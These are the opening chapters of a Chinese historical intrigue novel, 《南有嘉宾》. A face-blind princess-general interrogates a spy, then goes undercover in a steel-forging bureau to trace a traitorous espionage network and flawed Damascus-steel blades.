《南有嘉宾》
1. 风起保州
九月，大梁，南漳城。
“铮”！一柄匕首似箭飞出，猛地撞上代书的脑门。
伴随一记低弱的痛呼，匕首落于玄铁石磨成的地面，发出金属相击的鸣响。
代书早已叫人用刑。他的一双腿毫无生气地垂落，细瞧，却是挑断经脉，又被一寸一寸地敲碎胫骨。
他本已出气多，进气少，如半个死人。
可看清匕首的一刻，他混沌的眼神微不可察地一闪。
一旁响起舀水的声响，下一秒，满瓢浓盐水兜头落下，代书如叫人刮去鳞片的活鱼，哀叫着挣扎。
“疼吗？”一道身影自暗处走出，踱入油炬照亮的方寸之地。
昏暗的光下，真紫曳撒色彩浓郁，一如她眉梢那粒小痣——它较胭脂更鲜艳。
只听她问道：“若这都觉得疼了，那死在五莲峰的两万将士又该多疼？”
她拾起地上的匕首，以指腹轻触刃面。
突然，她的眼神一利，匕首寒光一闪，被深深扎入代书的上臂。她再一拧，匕首转向，生生撕出一道血路，最后卡入手肘的关节处。
密闭的刑室霎时布满哀号。
“镔铁刀削骨如泥，滋味如何？”她问道，声音轻且柔，“我再用力，你的小臂可就断了。怕不怕？”
“郡主，郡主我错了！”尽管已吃了许多苦头，可这割肉剔骨一般的刑罚还是让代书心胆俱裂，他耗尽最后一份力喊道，“是花间司，是花间司！”
花间司？
荣龄松开匕首，站直身子。“文林，”她看向一身墨色劲装的万文林，“你可曾听过？”
万文林司荣龄账中缁衣卫万户，掌各处情报，最知晓隐秘。
然而，他摇头，“郡主，不曾听闻。”
代书错以为他们不信自己，生怕荣龄起怒，再次活剖了他。
于是不等二人再问，颠七倒八地说尽自个的见闻。
只晓得这花间司以司主为尊，下设四大花神，负责前元在大梁境内的情报收集与传驿。除去花间司司主，没有人知道四大花神潜于大梁何处，做何种营生。
代书只是花间司一名最底头的探子。几月前，他的兄长病重，爷娘捎来书信急需五十两银子。正是这五十两银子，代书将替一名草莽将军写家书时探听到的行军消息交给了上官——因有了这消息，前元军守在五莲峰垭口，他们挥舞长刀自高处冲下，将翻山越岭而来的南漳三卫打个措手不及。
荣龄在远处看到前元军手中的长刀，心中一寒。
长刀看着平平无奇，刃面光滑，无任何花纹。可刀锋所指，南漳三卫手中的寻常铁刀不是崩裂，就是被齐齐砍断。
这是…镔铁刀？
是“金刚锥透玉，镔铁剑吹毛”的镔铁刀？
可前元军遭南漳三卫围困数载，他们自何处得来一刀抵十金的镔铁刀？
荣龄来不及细想，只让中军急摇旗语，“撤退，撤退！”
可惜仍旧晚了，两万将士埋骨五莲峰，再回不来。
荣龄将银牙咬了又咬，行军路线、镔铁刀…这笔账，她定要与吃里扒外的东西算个清楚。
查了又查，一日后，代书并他偷藏起的镔铁匕首被扔到了荣龄面前。
代书仍在哭求，“郡主，是我猪油蒙了心，我再不敢了。”
此时，他可恨透那位上官，恨透眼前价值不菲的镔铁匕首。
那位上官还曾允诺，“你小子好好干，前些年的大人凭借功绩，一气儿做到四大花神。到那时候，你要什么没有？”
可如今，受苦的是他，上官呢？怕是早已匿去音信。谁还能救他？
荣龄暗暗地记下这些消息，她突然想起什么，“你方才说，那位上官提到‘前些年的大人’”她问道，“究竟是多少年前？”
代书哀哀地求她，“郡主，我真的不知道了，我知晓的都已说了。”
荣龄没有再理他。
沉重的玄铁门阖上，代书的声音再听不见。
守在外头的左将军孟恩疾走几步，迎上前来，“郡主，如何？那小子招了？”孟恩留了满脸虬密的美髯，声如洪钟。
他曾是南漳王的亲卫，背着重伤的南漳王走出尸骨山，是荣龄最信赖的人之一。
听清孟恩的声音后，荣龄示意他凑近一些，“孟恩叔，我记得你说过，南漳之战，前头打得并不费劲。只是某日之后，前元军像是开了天眼，总是早一步知晓咱们的动作。”
“可不是？”如今想来，孟恩依旧觉得气愤，“若不是他们使诈，老王爷怎会被合围，最后也不至于，不至于…”
这么些年过去，孟恩仍旧不愿意说出“战死”二字。
“孟恩叔，”荣龄低声问道，“你也怀疑…是出了奸细？”
孟恩小心地瞧了一眼院中，缁衣卫守在外头，离他们约有三十步。
他应一声，“咱们也和莫桑商量，偷偷地查过，”他道，“可惜，什么都没有查到，自然也不好再声张。”
荣龄捻着刀穗垂下的流苏，在心中思忖开来。
自南漳王战死，她赴南境历练，其后又执掌三卫，前后已有八年。
然而，这八年时间，即便是她，也从未听过前元朝廷扎在大梁的花间司。若不是代书心有挂碍，叫她问出踪迹来，大梁指不定要吃这花间司的多少暗亏。
她思虑半晌，叫孟恩附耳过来，这样那样地一通交代，算是与这花间司卯上了——
不论花间司如何诡秘，不论四大花神是人是鬼，她都要将这颗害命的毒牙，从大梁境内连根拔出！
几日后，中军传令，道是荣龄郡主旧疾复发，被披香殿娘娘接回大都养伤，期间一应军务，由左将军孟恩代劳。
与这桩大事相比，一位代书喝多了酒，在野河中溺死，便像是一桩鸿毛一样轻的小事，被风一吹，就消逝地无影无踪。
听到军令后，右将军莫桑快走了几步，凑到孟恩跟前。
与孟恩“莽张飞”的形象不同，莫桑的唇上留着两撇修剪得宜的八字胡须，他一脸文气，不像将军，倒像个书生。
“你给老子透个底儿，郡主是不是被披香殿娘娘逼着去生娃娃了？”他一张嘴，一口浓浓的关外腔将他儒将的形象碎了干净，“要是，咱们得提早合计，郡主还回得来吗？”
孟恩刚想说，“生娃娃个球，郡主是去抓花间司了。”但荣龄临行前再三的嘱咐浮上脑海——“孟恩叔，此事你知我知，多一
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人知晓，便多一分风险，别到时候花间司没抓着，我也折在里头。”
孟恩将嘴边的话咽了又咽，“我不知晓，我也管不到披香殿娘娘的心思。”他忿忿道，“再说了，郡主与张大人成婚三载，生个娃娃怎么了？”
“倒也是，”莫桑摸了摸他的两撇八字胡须，说道，“最好生个小子，咱们像当初教郡主一样，教他行军、打仗，他一定不逊老王爷当年的风采。”
这一句话说得孟恩红起眼眶来。
南漳王爷，走了有八年了。
而此时的官道，缁衣卫拱卫其间一道真紫色的身影，沉默而快速地向大都前行。
可十几日后，两匹凉州马脱离队伍，驮着主人来到已然扬起朔风的中原重镇——保州。
“郡主放心，阿兄定会护着‘假郡主’回到大都王府，没人知道咱们来了保州。”万文秀说道。她口中的阿兄正是缁衣卫万户，万文林。
荣龄未答。
眼前是高逾三丈的保州城墙。小时候，南漳王曾对她说：“阿木尔，待父王攻下保州，梁军入大都就再无关隘。阿木尔，父王带你去大都。”
只是没想到，多年以后，荣龄来到保州，却是为查他战死的真相——
保州镔铁局，这世上唯一可锻铸镔铁刀的所在。
几日后的大都。
一把断裂的长刀置于东宫的书案之上——刀长三尺八寸、刀柄一尺二寸，柳叶刃，刃面磨洗出彩云状的花纹。
“你是说，十金一把的镔铁刀敌不过新罗购自琉球的太刀？”案前一人着玉色盘领窄袖袍，他曲起一指，敲了敲镔铁刀的刃面。
另一人着红色公服，躬身应道：“回太子殿下，镔铁刀本不惧太刀。可镔铁质坚，锻铸时需加入生铁调匀韧性。如若不然，两刀相击，镔铁刀过刚易折。”
书案的另一侧，锦面的奏章被翻开。
前线与新罗苦战的主将禀道，本受太子殿下垂怜，得镔铁刀千把，用以克制新罗斥巨资购置的太刀。谁料前锋营持刀相向，镔铁刀与太刀相击者，三成断裂，四成刃面出现裂纹。他一人不怕以死殉国，却不忍太子殿下遭军中蠹虫蒙蔽。
荣宗柟陷入沉思。
“保州…镔铁局，”他低声道，“老二的赵氏…”
躬身那人始终沉默，似不曾听见东宫的低语。
片刻后，荣宗柟扔过一枚令牌。
那人接过，只见是一枚四寸长、三寸宽的精铜牌，上刻一只展翅的海东青，下书“枢密院·检祥”五字。
“刑部查不了军务，你便以枢密院的身份去查，”荣宗柟道，他低下声音，“莫打草惊蛇。”
这便是要那人私下去查。
“是。”那人的语气毫无波澜。
退出门前，荣宗柟突然唤他，“对了，你与荣龄怕是三年未见？”昨日，荣龄帐下的缁衣卫万户曾入东宫见他——荣龄正在保州城。
“回殿下，三年前大关告急，郡主连夜赶回前线。那之后，臣不曾见郡主。”那人没有多想，平静回道。
荣宗柟却不再多言，“孤知晓了，你去吧。”
次日拂晓，一架马车自阜成门驶出大都，马车遥遥南下，目的正是——保州城。
2. 独孤娘子
保州北控三关，南达九省，地连四部，雄冠中州。是大都南下的第一大都会。
保州城西有大清河，河水水质是北地难得的清冽。被誉为“大梁第一利刃”的保州镔铁局便位于大清河之畔。
镔铁局下设三局——专管锻制的冶火局，酸洗镔铁特殊花纹的金水局，负责抛光的神耀局，其中以冶火局最为核心，非信重之人不得入。三局又下辖若干坊，分管专门的事宜。
这日，荣龄换上绛色的公服，自金水局管事手中取过辛日的出入令牌，叫一名人高马大的魁梧妇人上下摸个遍后，她才袖着两手，进入金水局下辖的磨洗坊。
北地日短，寅时的天色尚暗。
荣龄忍下哈欠，又抖抖刻意驼起的肩背，似是要抖去一身的困意。
“惊蛰！”二进院的甬道传来一声呼唤，荣龄仔细辨析音色，是春芳。
“惊蛰快猜猜，我是谁？”她自暗处快步走来，又一指同行的几位妇人，“她们又是谁？”
荣龄很是无奈，自她露出不认人的症状后，春芳就日日当个乐子，逗她没完。
那日，荣龄托了几道，与一个专为镔铁局招徕匠人的掮客搭上边。
掮客收了银子，领着荣龄找到镔铁局三局之一的金水局——冶火局太过机要，他还使不上力。
“贺大人，这是我老娘的嫡亲侄女，前头死了男人，叫婆婆和小叔磋磨得不像话。”掮客在袖下递过一只装了银豆子的荷包，“几日前，黑心小叔要将她卖给隔壁村的老鳏夫，她那婆婆也点了头。”
“她实在待不住，这才跑回娘家，找我老娘。”掮客凑过身子，讨好道，“贺大人可怜可怜她一个寡妇吧。”
金水局管事贺方先是叫一口一个“大人”捧得飘飘然，听清掮客来意后，他本想刁难一句“这是你领来的第几个老娘的亲侄女了？”，可他两指一捏袖中的荷包，便不再多说。
“也是个可怜人，”他轻慢地看一眼面色蜡黄，眼神卑微的女人，“叫她明日上工吧。”
事成后，掮客再三叮嘱荣龄，“记着，你是个寡妇，叫婆婆和小叔逼得活不下去。可别说岔咯。”
荣龄不解，“为何一定是个寡妇？”
掮客将目光投远，遥遥看一眼镔铁局的正堂，“因为…镔铁局的主事是独孤娘子。”他意味不明地一笑，没有再细说。
直到荣龄以“惊蛰”这一化名进了金水局，她才明白掮客的笑中为何几分敬服，几分轻蔑。
镔铁局中的匠人，一半都是寡妇。
“寡妇怎么了？十金一柄、叫敌寇胆寒的镔铁刀可是由我们锻打、磨洗出的。”说话的正是春芳，镔铁局中的“独孤氏第一吹”，“独孤大人招了我们，叫我们抬起头来学艺，用自个的手艺养活家人，没有比这更叫人快活的了。”
这一半是叫人敬服的独孤氏。
而另一半独孤氏，来自相好的诋毁。
据传，独孤氏也是个寡妇，寡妇门前是非多，而比是非更多的，是她的相好。
独孤氏相好三千，各种长相、做各类营生的都有。
她的情意来得快、来得浓，可上头的劲一过去，又冷清得紧。总惹得一群男人心口刚热，便又被撇下。
事关风月，不论男女都不得洒脱。
于是，在一群骂骂咧咧的怨男的诋毁下，负心薄幸、水性杨花的骂名算是跟定了独孤氏。
连带的，镔铁局的寡妇们也没了好名声。
可一群将独孤氏奉若神明的寡妇不在意——她们尝过太多世情的冷暖，镔铁局于他们早是世间唯一的桃源，三两句风凉话算得了什么？
为了融入大伙，荣龄一面竖起两手，朝大都的方向拜了拜，只求三年不曾相见、她甚至记不起长相的便宜相公张大人别被她这胡言乱语说得折寿，一面则心安理得地顶起寡妇的名号，加入同僚们时不时的讨骂黑心婆婆与小叔的行列。
正是在这一过程中，荣龄一时不查，暴露了她绝不为外人道的一项弱点——脸盲。
这事得从许久之前说起。
说起荣龄郡主，便是清远楼最为碎嘴的说书先生，那也要赞上一句。
一则出身名门，乃是圣上的胞弟，南漳王爷的独女，那叫一个龙血凤髓，人品贵重。二则承父遗志，战功赫赫，南漳王爷战死后，郡主统帅南漳三卫，几年的时间，打下南境诸国，又啃下前元朝廷割据的半壁江山，如此英武的巾帼，倒叫一众男儿郎羞惭。
但，人非圣贤，孰能无过。
若非要说，郡主有什么不是，那约莫，可能，也许，大概是，郡主面冷，不大好亲近。
可行军之人，多数是从尸山血海中爬出的，冷硬一些，也不能算作过错。
然而，正如写出“秦时明月汉时关，万里长征人未还”的七绝圣手王昌龄死于一尾鲜美的查头鳊，一代枭雄的姚苌被梦境活活吓死，或许，看似正经的事件后头，埋的只是一笔微小的，叫人啼笑皆非的糊涂账。
因而，荣龄想，她因为脸盲，叫人觉得面冷、不好亲近，这笔糊涂账也算不上多么古怪。
自然，脸盲之事，这不能怪荣龄。
若是真要细究，已然作古的南漳王爷，如今的披香殿娘娘——曾经的南漳王妃，即，荣龄的父王、母妃，他们俩，一个都逃不脱。
他们两人都不曾有过这个怪异的毛病，然而，荣龄长到了四五岁，开始认人时，身边的随侍都发现了她的古怪。
这古怪，不大，左不过是小郡主记不清人的样貌，总将秋月认成春花，将阿甲唤作阿乙；但也不小，冲着梁帝喊父王，将姑姑称作皇后娘娘，这一桩桩，一件件的，也叫小郡主觉得难堪。
不过，目力上的缺失，总有一些他处的补偿——荣龄的耳力格外聪敏。
因而，再大一些，荣龄便机灵起来。左右她的身份高，她便冷着脸，等其他人先开口，待她认出那人的嗓子，再唤他一声，与他交谈。
之后，她又知晓了许多衣衫的款式，她便记下样式，默念颜色，借用不同的衣裳分辨人。
总之，慢慢地，荣龄郡主不认人的议论淡了下去。
取而代之的，是人家以为她拿捏架子，眼高于顶。
对于这样的误解，荣龄只能无奈地收下——这总比叫人知道自个儿是脸盲要强。
然而那日，荣龄刚至金水局，换好衣裳便傻了眼——
本还能分出一二的匠人们穿上金水局统一制式的公服后，全都模糊成一道道绛色的长影。他们眉眼仿佛，根本分不出谁是谁。
以往在大都、在南漳，万家兄妹总陪在荣龄左近，若遇见生人，他们会用各种法子叫她知晓来人的身份。
可如今，万文林远在大都，万文秀留在她们临时赁的院中，荣龄瞪着一双大眼，无神且无助地挤在前行的人群中。
这时，一道声音唤她，“惊蛰妹子，今日你跟着我，我教你认酸浆。”
荣龄面上镇静，心中却已抓狂——完了，这人是谁？方才可有人介绍过她？
她讨好一笑，挽住来人胳膊，模糊地称呼道：“姐姐，多谢你。”
这笑容落到来人眼中有了其他意味，她拍了拍荣龄伪装后黄黑、龟裂的手，安慰道：“来了就是姐妹，你不必这样小心客气。我定会教好你的。”
面对这样的友善，荣龄一愣。
那人带着她在不同的酸浆池中穿梭，“这是砒霜池，莫怕，舀上里头一碗水，顶多药死一只耗子，于咱们是无碍的。”
她又一指四围结出白色晶体的池子，“这是盐池，用的盐井中泵出的盐卤，盐池洗菊花纹最为好用。”
这时有人唤她，“春芳姐，快来帮我看一眼，这把刀怎的洗不出纹路，可耗了我好几天了。”
春芳示意荣龄等一会，自个去看看。
荣龄在心中暗暗记下，哦，原来她叫春芳。
不一会，一道绛色身影走近，荣龄正在看不远处泛黄的汤池，“春芳姐，那是什么池子？”她问道。
来人未答。
荣龄以为四围嘈杂，她没听清，于是再唤一声，“春芳姐？”
谁知片刻后，那人在她眼前挥了挥手，用陌生的声音问她，“你叫我啥？春芳？”
这道声音不属于春芳。
荣龄心中警铃一响——糟了！
她一面飞快地思考说辞，一面暗自懊悔，怎可在陌生之地放松警惕，暴露脸盲的弱点？
“我…”
不等荣龄想出合宜的解释，那人如发现新奇的玩物一般，唤来包括春芳在内的磨洗坊众人，“快来瞧瞧，新来的妹子不认人，我以前只听过这病，却没亲身见过。咱们试她一试。”
一群人围着荣龄，先是各自报过名姓，再胡乱换了位置，问荣龄哪个是哪个。
荣龄咬着唇内的软肉，直到口腔中满是血腥味。
她勉强一笑，不住告诉自己——如今的她早已长大，挥刀能取敌寇首级，弯弓可射落最矫健的雄鹰，没有人能再伤害她。
“妹子，你当真不认人？”荣龄认出声音，这才是春芳。
她思忖片刻，擒出半真半假的一眶泪，“春芳姐，求求你，别告诉贺管事。我就这一个毛病，时间长了我自然能认人的。”她拉过春芳的袖子，眼瞧着就要跪下，“我有力气，也不怕酸浆伤手，求你们不要把我送回去。若是那样，婆婆和小叔子定要绑了我，卖给半身入土的老头子。我也是好人家的姑娘，求求你们别嫌弃我。”
一番话说得围观众人心口发酸——围观的她们，谁又没有自己的难处？
春芳扶住她，不叫她真的跪下，“妹子别怕，这不是了不得的毛病，并不耽误做工。即便贺管事知晓了，也不会拿你怎样。咱们都是苦命人，只有互相扶持，哪有谁瞧不上谁的道理？我们只是逗个乐子，你别当真。”
荣龄落下更多的泪，面上却有了笑意。
她空悬的心落下来。
一群人又是哭又是笑，自然不曾发觉门口有一角朱红罗面、满绣卷须叶花纹的裙摆闪过。
春芳说得没错，脸盲在此处当真不是需要忌讳的大毛病，它更像一只无害的橘猫，叫众人在日日辛劳的做工后逗着寻个乐子。
于是，磨洗坊的大姐大嫂们总逗荣龄，叫她猜
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一猜眼前的是谁。
没几日，整个镔铁局都知晓，金水局的磨洗坊来了个不认人的小寡妇。
因而，一听见春芳的声音，荣龄就知道春芳又来逗她。
仗着天色尚暗，荣龄无奈地一闭眼，随后转头，故意道：“你一定是秀儿姐。”
果然，看她猜错，春芳快活极了，“呀，惊蛰妹子还是认不出！我是你春芳姐！”
荣龄自不会说，自个早已凭借耳力上的长处记得镔铁局的许多人，她只讪讪一笑，“春芳姐，你别逗我了。”
“好好，不逗你，”春芳挽过荣龄胳膊，说起唤她的正途，“独孤大人找你，你快去。”
独孤氏找她？
荣龄心中一紧。
她暗自思忖，自个可是露出破绽？如若不然，镔铁局第一人——独孤氏怎会关注她一个小小的匠人？
她露出惶恐的样子，向春芳套话，“春芳姐，可是我犯错了？独孤大人怎会找我？”
“别怕。”在春芳的心中，荣龄许是吃了婆家许多顿打，因而总是一副怯懦至极、惊弓之鸟的模样。她是过来人，很可怜荣龄如今的情形，“来了镔铁局，再没人欺负你。独孤大人待人极好，万事都会为你撑腰，绝不是外头传得那样。你只管放心地去，许是独孤大人知道你新来，要关照你一番。”
荣龄乖顺点头，心中却是一半忐忑、一半戒备地来到镔铁局的中堂，亦是独孤氏起居、办公的所在——莫闪居。
独孤氏在保州是个人物，可放眼天下，到底只是六品的小官。
因而，她的生平多有轶失。
缁衣卫只查出她是二十多岁入的镔铁局，几年之间，因锻制手艺过人，被破格提为三局之一的冶火局管事，又过十年，主管整个镔铁局，官居正六品。
荣龄在心中过完独孤氏的履历，这才垂着头走入莫闪居。一入院内，地面上由彩瓷碎片拼成的卷草与多角星交叠的图案印入眼帘。
她慢步前行，直到看见一双雪足自朱红罗面、满绣卷须叶花纹的裙中露出，惬意地落在足有一寸厚的喀山毛毯中。
荣龄先是要抬头，可抬到一半觉得不妥，随后换作抱拳，一息后又停住，像在回忆民女见官究竟该行怎样的礼。
最后，她平抬两手，四不像地一拜，“独…独孤大人，我是惊蛰。”
像极了从未见官、心有惶惶的农妇。
独孤氏没有在意荣龄生疏的见礼，她上下打量片刻，道：“既入了镔铁局，便堂堂正正地抬起头来。”
荣龄应一声，这才小心地抬头。
自见到匾额的“莫闪”二字、院中用彩瓷拼出的图案后，荣龄就猜到，独孤氏是胡人。
她的肤色分外白，一双绿色的瞳仁盈盈泛光，一如大莫闪最纯净、浓郁的祖母绿宝石。荣龄心想，她定长得美。
她身着朱红的大袖褙子，下裳是同色的褶裙。她的上身倚在扶手圈椅中，双脚赤着，整个人怠懒、迷人得紧。
可惜这等风情，荣龄因脸盲，少领略了许多分。
“来了几日了，可学到手艺？”独孤氏问道。
荣龄双手交扣，老实答道：“来了十日了，春芳姐教我认了酸浆，也带着我磨洗了一把匕首，是雪花纹的，说是替凉州军打造。”
独孤氏未置可否，她突然起身，一步步走近，赤脚落在深蓝的喀山地毯上，如深渊开出白莲。
她挑起荣龄的下巴颌，问道：“我美吗？”
荣龄不明所以，浑身蓄着劲，以防她发难。嘴上却嚅嗫着答道：“美…美。”
“可我听说，你不认人？”独孤氏妩媚一笑，笑中却有冷意，“脸盲也辨出美丑？”
荣龄想了想，“辨不出，”她答道，“只是姐姐们常说，大人是九天的神仙妃子，不仅美，心地也好。我虽不能亲眼见到，但我想，姐姐们不会骗人，大人定是美极了。”
“你倒是有趣。”荣龄的话取悦了独孤氏，她收起那指，顺势又拍了拍荣龄头顶的盘髻，“对了，认字吗？”
“认…认得一些。”荣龄道。
“哦？”这倒是出乎独孤氏的意外，一个脸盲的农妇，竟认得字？若是认字…可就不好用了。
她取过一页公文，递给荣龄，“念念看。”
荣龄扫过整页公文，“一…石…人…”她念出零星几字，憋得满脸通红，“大人，我相公只教过几个字。”
独孤氏一笑，“也罢，确也是认得几个字，”并再次说她，“你可真有趣。”
随后，她未再多言，只叫荣龄退下了。
随后几日，荣龄反复揣测，独孤氏为何召唤她，又为何说那些没头没脑的话。
她不知镔铁局内是否有眼睛盯着，因而不敢说与他人一道猜测，她只借自个是新来的幌子，与春芳、秀儿等人问些三局运行、镔铁刀制作关要的消息。
还未等她想出个所以然，独孤氏的又一道命令解开她的疑惑——
她递来一匣点心，又在里头放上自己的一枚玉戒，叫荣龄送往上阳坊的某处。
荣龄转身出门，心中却嘀咕，这怕是送与新相好的。
3. 花蝴蝶
此时已是黄昏，荣龄捧着匣子，快步走到未挂匾额的小院。
她叩开正门，对着随侍打扮的小哥说道：“我是惊蛰，独孤大人唤我送点心来。”
主人恰好也在院中，听见荣龄的话，他看过来。
“今日怎的换了人？”他问道。
荣龄也正好奇独孤氏的新相好是何等人物，便借此机会转头看去，只见那人穿一身碧色的道袍，背手站在未落叶的枇杷树下。
她在心中暗赞一句，独孤氏这回的眼光不错——她虽辨不出这人的美丑，可他随身站立的风姿倒是万中无一。
只是可惜，他的风姿再卓然，那也是三月后遭独孤氏抛弃的命。不过他年纪尚青又四肢健全，竟做以色侍人之事，想来若是遭弃，也是他活该，怨不得别人。
这样想着，她在赞赏中又生了几分轻视。
“秀儿姐生病了，大人换我来。”荣龄答道。
自然，秀儿没有生病，只是因随口议论独孤氏的相好而被换下。
想来，独孤氏因脸盲看上了她——当她替独孤氏给相好送吃食后，独孤氏不必担心她再认出那人，平白生出风言风语。
脸盲确会疏漏信息，却也能保守秘密。
可惜独孤氏不知，荣龄不仅认字，还在耳力上长于他人。这两处足以为她弥补脸盲带来的缺陷。
这时，随侍问道：“老爷，已是申时末，咱们走吗？”似要出门。
年青的老爷点头，又对荣龄道，“你是回镔铁局？一道走吧，带你一程。”
他要去镔铁局？
荣龄恍然。
她许是亲眼见证男女之间的“授受”——你送我点心与信物，我收到暗示，就急急去见你，一往一来，俱是眷侣间拉扯、暧昧的小心思。
而她荣龄，就是传信的青鸟。
荣龄既要回万文秀赁的小院取信，又不大看得起他的行径，便推辞道：“我还有其他事，老爷不必管我。”
年青的老爷“嗯”一声，只唤“阿卯，备车”，没再管她。
回到同样位于上阳坊的小院，万文秀备满了一桌菜。
“郡主快来，日日做工定累了吧？”她递过一双竹筷，“惠安楼聘了一位大都来的厨子，我尝了尝，确有几分味道。”
在吃食一事上，镔铁局虽不苛待，但也粗淡。这十几日，荣龄的嘴里淡出个鸟来。
因而，见万文秀如此贴心地准备，她很是欣慰。
“文秀，等回了大都，我定请张大人为你寻《喜春来》，便是散佚了，也叫他为你重写一本。”荣龄虽记不得张大人的样貌，可依旧对身为探花郎的他充满信心。
“不过是打发时间的闲书，哪里需要张大人这样费心，”万文秀温婉一笑，柔声道，“张大人的信去了南漳，孟恩将军叫人转送来。太子殿下也有信，郡主待会一道看吧？”
荣龄点头。
稍晚一些，荣龄换坐到中厅西侧隔出的书房，案上已放了不少信笺，有万文秀自邸报、缁衣卫密信中誊抄的消息，也有如太子殿下、孟恩、张大人等送来的信件。
荣龄先拆了孟恩的信，字如其人，孟恩的字迹潦草、张扬得很，一笔一划都像是要挣出纸中的线格去。
得知军中无事后，荣龄又看过万文秀誊抄的消息——这是她自万千消息筛选出的，叫荣龄知晓朝中及天下大事。
随后，荣龄才拆了落款“伯舟”二字的信笺，“伯舟”是太子的表字。来保州前，荣龄盘算半晌，决定由万文林将前元军中凭空出现镔铁刀一事面禀太子。至于花间司，那是半个字都不曾透露。
太子的这封信，许是与镔铁刀有关。
果然，太子在信中说道，若荣龄在暗查中有需襄助的，可随时调用北直隶巡按御史冯宝，他正在保州。
他笔锋一转，又提到与新罗作战的锦州军中出现一批镔铁刀疵货。
看到这里，荣龄停了停。一南一北，南边刚凭空出现一批镔铁刀，北边就有了一批疵货。这一多一少间，荣龄很难不将二者联系。
她想了片刻，又继续看信。
最后，太子闲闲添了一句，若荣龄在保州遇见一名唤王序川的男子，或可倚仗一二。
王序川？
荣龄在脑中搜寻，却没找到半分与之相关的记忆。他是朝中新贵？是春宫清客？
半晌后，她作罢——不论是何身份，他总归是东宫的人。
太子的信不长，百余字不过告知荣龄几样事实，却半分不曾提及东宫的态度。
荣龄不意外。
如今宫中长成的皇子有三。
太子荣宗柟行首，出身关陇瞿氏，既嫡又长，性温且平，最受文官拥戴。可惜当年的瞿氏押错宝，没在大梁立国时出几分力，如今的他们只好领几任闲差，不复关陇豪族的煊赫。
二皇子荣宗阙出身赵氏，“开国三大功臣”之一赵文越是其亲舅。凭借赵文越的功绩，赵氏牢牢把住兵部与大半个枢密院，在军中权势极盛。
三皇子荣宗祈最不引人注目，乃林氏之子。林氏在前元有个“江南诗家”的美名，可战乱一起，早没了声势。荣宗祈喜好风雅，一年中总有半年的时间游历在外，他见山赋诗，遇水作文，直让倥偬一生的建文帝感叹，荣家不多的文脉全点在他的身上。
镔铁局由兵部武库司所辖，是明晃晃的二皇子党。
在太子与二皇子摩擦愈多的当下，东宫自然不便公然插手表态。
因而荣龄想，她在暗中查，那位王序川，定也隐在暗处。
只是他究竟是谁？
放下太子的信笺，最后只剩张大人的信。
说来也怪。她虽不记得张大人的样貌，却月月与他通信。二人不曾体味少年夫妻的情浓，但鸿雁往来多了，总生出几分惦念。
三年前，前元勾结瓦底，大关告急。荣龄只来得及与张大人行完三跪九叩之礼，便一扔喜扇，连夜赶回了大关。那之后，她也忘了大都尚有便宜夫君，大半年未与他联络。
这婚事本由披香殿做主，并不合荣龄的心意。
可当“郡主因夫家穷酸不满婚事，张大人攀高枝遭弃成大都笑柄”的消息传至南漳，荣龄绕着扶风岭转了几日，终难心安。
“父王，张大人因我沦为大都笑柄。他本是堂堂的少年探花，最是无辜…”她在南漳王墓前纠结，“父王，我总当回护他？”
一月后，一位着绯束冠的老者敲锣打鼓地来到张家小院。
“张大人，下臣多日不曾请安，是下臣之过。”年逾五旬的南漳王府长史深深一拜，“郡主已交代，今后下臣亦由张大人驱使。”
于是，荣龄收到的来自张大人的第一封家书便只有一句话——“郡主何意？”
荣龄看不惯文人一封信绕八百个弯的习气，反是欣赏张大人直言宗旨的文风。
于是她也不再迂回，只说自己听了大都中人嚼舌根，中伤于他，此事是她考虑不周。他二人既担了夫妻的名分，她会护着他。
以此为始，荣龄与张大人总有书信往
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来，加之南漳王府的长史又常去张家的小破院走动，对于二人情分淡漠的议论终于淡下去。
今日的这封信中，张大人告知她，他因公将至外地办差，回信恐不及时。
张廷瑜任刑部的刑部司郎中，掌令、令格、式及刑名罪名之制，若遇重案，偶至外地办差。
因而，荣龄不曾多想，只叮嘱他，天冷添衣，莫熬夜办差。
想了想，又多添一句，荣龄因军务在身，恐也不能及时去信，勿念。
理完一案头的书信，荣龄择出几封不便留存的，扬手扔入炭盆。
这时，她取过一开始就被放到一旁，封口都未拆开的信，冷笑一声，也扔入炭盆中。
她转身之时，火苗舔过信笺，很快湮没独属于披香殿的徽记。
回程已是酉时末。
这日冷得紧，朔风呜咽，吹得沿街的店铺早早闭门，也只有保州最为繁华的阳水街尚有灯火未灭。这其中，万文秀曾提及的惠安楼生意最好，一根根儿臂粗的蜡烛照得店里店外俱如白昼。
荣龄回镔铁局正要路过此处，只见她袖着手，缩着脖，一面深嗅惠安楼飘出的饭食香，一面暗下决心，等回了大都，定让王府厨子做各式好吃的，日日都不重样。
正在这时，有人唤“惊蛰娘子”。
荣龄回过头，惠安楼门前绘有孟郊“春风得意马蹄疾，一日看尽长安花”组图的六方宫灯下，两位年青的男子长身玉立，一者着碧衫，一者着檀褐的衣袍。
她回想方才的声音，是阿卯——独孤氏新任相好的随侍。
荣龄如今的身份低，不能任自己的心意行事。
她只好走近几步，抬平双手，先对碧衫者一拜，客气道：“老爷”，再对檀褐衣袍者点头，“阿卯哥”。
然而语落，对面二人静了几息。碧衫者甚至看一眼檀褐衣袍者，似不知所措。
荣龄一窒，不会…又…认错人了吧？
果然，檀褐衣袍者伸出一只素白又有筋骨的手，在荣龄面前摇了两下，似在验证荣龄是否眼盲。
末了，他又伸出二指，问道：“惊蛰娘子，这是几？”
所以…这才是那位相好。
只是这对主仆何时换了衣衫，还恰恰好，叫随侍换了碧色的道袍。
可谁家随侍出门穿得与主人家一般无二的？
荣龄自小脸盲，叫各路人马以各样方式试探不知凡几。
她最讨厌人家伸出几根手指，再问她“这是几？”她是脸盲，不是瞎了，也不是傻了。
再说她本就看不上这人，如今却被他以最厌恶的方式试探，新仇加旧恨之下，荣龄翻了个白眼，没好气道：“几你个长毛鬼。”
那人收回手，两手袖在厚厚的宽袖中。
“看来，”他没因荣龄的挑衅动气，只平静地说出结论，“惊蛰娘子是脸盲，而非眼盲。”
一旁的阿卯恍然大悟地“哦”了一声。
荣龄只觉话不投机半句多，便不理他们，转头要走。
恰好惠安楼中另有客人出门，与那主仆二人道别。
“序川老弟，今日多谢你的款待，”客人抱拳道，“来日的投筹会，你放心，我的筹总会投与你的。”
“序川”二字如一支火箭升入暗空，又直直射入荣龄的脑海。
她猛地转头，他？独孤氏的新相好？王序川？
等等，他今晚见的也不是独孤氏，而是这位着一身锦袍的中年男子？
事情的发展变得有趣起来。
4. 投筹会
当下，荣龄未立时与王序川相认。
